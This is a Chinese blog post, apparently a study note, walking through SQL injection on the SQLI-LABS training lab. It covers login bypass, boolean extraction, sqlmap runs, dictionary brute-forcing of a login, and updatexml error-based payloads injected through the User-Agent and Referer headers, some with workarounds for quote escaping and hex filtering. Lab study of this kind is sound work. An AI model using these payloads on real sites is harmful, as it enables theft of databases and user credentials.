无回显-报错注入

huangxin0506 2024-7-30 338 7/30

无回显-报错注入

1 POST注入

  1.1 注入攻击的本质:

把用户输入的数据当成代码执行

  1.2 两个关键条件:

用户能够控制输入

原本程序要执行的代码,拼接了用户输入的数据

POST注入也属于注入的一种,不过传参形式发生了改变而已,本质上并没有什么区别

  1.4 POST注入高危点:

登陆框 、查询框 等各种与数据库有交互的框

2 POST注入讲解(以SQLI-LABS-Less-11为实例讲解)

  2.1 最经典的POST注入:万能密码 ' or 1=1 #

在url栏中输入没有任何效果

无回显-报错注入

只有在Username和Password栏中输入,页面才发生变化

无回显-报错注入

这里我们可以猜测验证SQL语句为 where username ='  ' and password = ' '

可以直接对username注入' or 1=1 #,因为其先将前面的引号闭合,使用或关系直接使整体判断为1,再将后面验证都注释掉,从而实现不输入密码便可以直接登陆成功

无回显-报错注入

这里我们可以尝试根据页面显示登陆成功与失败,获取数据库长度

' or length(database())=8 #

 

获取当前数据库中所有表的首位字母

' or ascii( substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101 #

 

均被能成功推出

无回显-报错注入

进一步得到Username对字符输入长度没有限制,因此使用布尔注入,便可以得到数据库全部内容

2.2 POST注入靶场做法

 通过SQLMAP跑POST注入

--forms    SQLMAP自动去读取页面中POST传参的表单的传参名然后进行注入

sqlmap -u http://192.168.174.131/Less-11/ --form --batch

无回显-报错注入

-r 1.txt      通过抓包去跑POST注入

使用burp suite抓包,在测试的地方加*,sqlmap可以定位到测试点

无回显-报错注入

将数据包内容粘贴到新建的txt文件

无回显-报错注入

sqlmap -r /home/kali/桌面/ceshi.txt --batch

两种方法得到相同的测试结果

无回显-报错注入

进一步输出数据库名

sqlmap -r /home/kali/桌面/ceshi.txt --dbs --batch

无回显-报错注入

输出security下的数据表

sqlmap -r /home/kali/桌面/ceshi.txt -D security --tables --batch

无回显-报错注入

3 HEAD注入

3.1 PHP超全局变量:表示着它们在一个脚本的全部作用域中都可用。

3.2 超全局变量:

$_REQUEST  (获取GET/POST/COOKIE传参)
$_POST         (获取POST传参)
$_GET           (获取GET的传参)
$_COOKIE    (获取COOKIE的值)
$_SERVER    (包含了许多头信息(header) )

3.3 $_SERVER头

$_SERVER['HTTP_REFERER']
用于获取访问者在当前请求之前所在的页面 URL。与用户代理字符串类似,HTTP Referer 头是由客户端提供的,可以被用户操控,因此可能包含恶意数据。
$_SERVER["HTTP_USER_AGENT"] 
用于获取访问者的用户代理字符串(User Agent String),该字符串通常描述了访问者使用的浏览器和操作系统。与 IP 地址不同,用户代理字符串是由客户端(通常是浏览器)提供的,因此可以被用户操控并可能包含恶意数据。
$_SERVER[“REMOTE_ADDR”] 
用于获取访问者的 IP 地址。这个值是由服务器环境提供的,并不直接来自用户输入,因此相对来说不容易被用户操控。

注:

X-Forwarded-For:用于获取客户端的真实 IP 地址,尤其在代理服务器或负载均衡器环境中。X-Forwarded-For 和 $_SERVER['HTTP_REFERER'] 都可以被用户操控和伪造,因此在使用这些值时需要注意安全性,特别是在安全敏感的操作中。

3.4 Updatexml 函数

语法: updatexml (目标内容,xml文档路径,更新的内容)

作用:更新xml文档的函数,但路径不存在或错误时会报错

 updatexml(1,concat(0x7e,(select database()),0x7e),1);

         实际上这里是去更新了XML文档,因为在XML文档的xpath路径里面写入了子查询,插入~(ASCII码是0x7e)和^(ASCII码是0x5e)(MYSQL支持16进制,但是开头得写0x)等特殊字符是非法的,也就会产生报错,报错时会先执行SQL子查询语句 ,SQL解析器会自动解析该SQL语句,就造成了SQL语句的任意执行

使用limit分页,因为报错不能输出过多(32字符)

select updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1);

前面的0x7e不能省略,后面的可以省略

select updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1);

无回显-报错注入

用法:

updatexml () 这个函数一般是配合and 或者是or 使用

and 情况下只要一个为False,就会判定是False,所以如果and前面的条件不成立的情况下,就不会执行之后的语句。所以使用的时候建议使用or

一些没有回显盲注也可以用这个updatexml() 做出来 

4 HEAD注入讲解(以SQLI-LABS-Less-17 、-18、-19为实例讲解)

4.1 SQLI-LABS-Less-17

根据页面显示PASSWORD RESET,意密码重置,先尝试直接在账户名注入' or 1=1 -- +,但出现报错

无回显-报错注入

1 出现报错,注入不成功,猜测是将输入的引号进行了转义

2 这里我们能够利用的只有更新密码的sql语句。sql语句之前都是查询,这里有一个update更新数据库里面信息。所以之前的联合注入和布尔盲注以及时间盲注都不能用了。

3 分析其网页有对User-agent的请求,尝试在密码框对User-agent采取报错注入

无回显-报错注入

因为只有知道正确用户名后才可以进行更改,所以burp suite抓包后使用字典爆破密码账号

无回显-报错注入

得到正确用户登录名admin

无回显-报错注入

在密码框尝试报错注入

admin' and updatexml(1,concat(0x7e,(select database() limit 0,1),0x7e),1) or '

成功显示数据库名,说明可以进行报错注入,剩下操作和下文Less-18注入相同,这里不再赘述

无回显-报错注入

php代码分析

无回显-报错注入

4.2 SQLI-LABS-Less-18

输入正确登录名admin和万能密码' or 1=1 -- + 报错

推测 SQL代码where username =' admin ' and users.password = ' \' or 1=1 # ',这里面加入了转义符号,导致不能够将password的单引号闭合

无回显-报错注入

登录和密码框均不可被注入,推测为报错注入,查看请求头,发现User-agent请求,尝试对其进行注入

无回显-报错注入

需要账号密码,burp suite使用字典爆破密码账号

无回显-报错注入

无回显-报错注入

无回显-报错注入

得到账号密码为admin,admin,登录后页面显示ip和User agent,说明推测成立,可以从User agent这里注入

无回显-报错注入

使用插件modheader构造虚拟uagent测试成功

无回显-报错注入

也可以使用burp suite抓包直接修改User-Agent

无回显-报错注入

无回显-报错注入

使用插件更加便捷,以下皆以插件说明,(burp suite效果相同)

1 尝试对uagent进行注入得到数据库名(有多种方式)

' and updatexml(1,concat(0x7e,(select database() limit 0,1),0x7e),1) or '

无回显-报错注入

' and updatexml(1,concat(0x7e,(select database() limit 0,1),0x7e),1),1,1) #

无回显-报错注入

' and updatexml(1,concat(0x7e,(select database() limit 0,1),0x7e),1) or 1=1) #

无回显-报错注入

' and updatexml(1,concat(0x7e,(select database() limit 0,1),0x7e),1) ) #

无回显-报错注入

2 对uagent进行注入得到数据库下表名

' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) or '

无回显-报错注入

3 对uagent进行注入得到users表的字段名

' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1) or '

无回显-报错注入

如果网站对引号拦截,使其转义,不能使用'users',可以尝试使用16进制

' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=0x7573657273 limit 0,1),0x7e),1) or '

无回显-报错注入

如果0x被禁用,不允许输入16进制,可以使用子查询

' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1) limit 0,1),0x7e),1) or '

无回显-报错注入

4 对uagent进行注入得到users表对应字段下的内容

' and updatexml(1,concat(0x7e,(mid((select id from users limit 0,1 ),1,32 )),0x7e),1) or '

无回显-报错注入

输出users表内容时,因为updatexml()函数报错的内容只有32位,可以使用mid(sql语句,32,32)函数进行截断,mid(sql语句,64,32)

' and updatexml(1,concat(0x7e,(mid((select group_concat(id,username,password) from users ),1,32 )),0x7e),1) or '

无回显-报错注入

4.3 使用sqlmap测试注入

使用burp suite抓包,在User-Agent后写入*,粘贴到txt中,使用kali环境下的sqlmap测试

无回显-报错注入

sqlmap -r /home/kali/桌面/ceshi.txt --batch

无回显-报错注入

无回显-报错注入

测试成功,获取数据库

sqlmap -r /home/kali/桌面/ceshi.txt --dbs --batch

无回显-报错注入

以下获取表名,字段名等只需输入对应命令即可,这里不再演示

4.4 SQLI-LABS-Less-19

输入账号密码可以看到显示出网页当前的URL

无回显-报错注入

尝试在URL处进行注入,发现转义后才显示

无回显-报错注入

根据页面显示,使用burp suite抓包,发现Referer请求头,更改其值看页面显示

无回显-报错注入

页面发生变化,我们可以对referer进行注入

无回显-报错注入

使用使用插件modheader注入referer测试,成功显示处数据库名,剩下注入语句和less-18相同。

无回显-报错注入

 

 

- THE END -

huangxin0506

7月31日12:38

最后修改:2024年7月31日
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论